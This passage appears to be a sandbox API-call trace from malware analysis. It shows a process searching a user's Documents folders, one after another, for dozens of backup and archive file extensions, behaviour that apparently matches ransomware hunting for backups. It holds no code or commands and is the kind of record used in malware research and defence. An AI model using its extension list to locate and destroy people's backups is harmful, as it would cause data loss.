HALPmcxz\\Documents\\1Pz1V\\*.003", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.113", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.73B", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.__A", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.__B", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.AB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABA", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABBU", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.combo", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABF", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABK", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABU", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ABU1", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ACP", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ACR", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ADI", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.AEA", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.AFI", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ARC", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ARC", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.AS4", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ASD", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ASHBAK", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ASV", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ASVX", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ATE", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ATI", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BA6", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BA7", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAC", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BACKUPDB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK2", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK3", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAKX", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.660] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.661] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BAK~", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BBB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BBZ", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BCK", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BCKP", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BCM", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BDB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BFF", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BIF", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BIFX", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BK1", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BKC", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BKF", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BKP", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BKUP", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BKZ", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dvtel", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BLEND1", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BLEND2", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BM3", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BMK", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BOOKEXPORT", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BPA", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BPB", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BPM", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BPN", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BPS", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.BUP", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CAA", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CBK", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CBS", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CBU", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.668] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CENON~", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CK9", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CMF", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CRDS", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CSD", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.CSM", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.DA0", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.670] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0110.676] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.676] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.677] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.677] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.678] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.683] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.683] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.685] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.685] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.685] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.685] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.685] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.686] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.686] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.686] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.693] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.694] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.694] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.695] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.695] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.695] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.695] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.696] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.696] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.696] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0110.701] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.701] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.702] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\vi_9G GX-RvBXQh\\9Y4w\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.702] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0110.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0110.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0110.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0110.707] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.708] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.708] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.709] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.709] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.710] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.710] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.779] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.779] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.780] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.780] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.781] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.781] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.781] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0110.782] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0110.787] 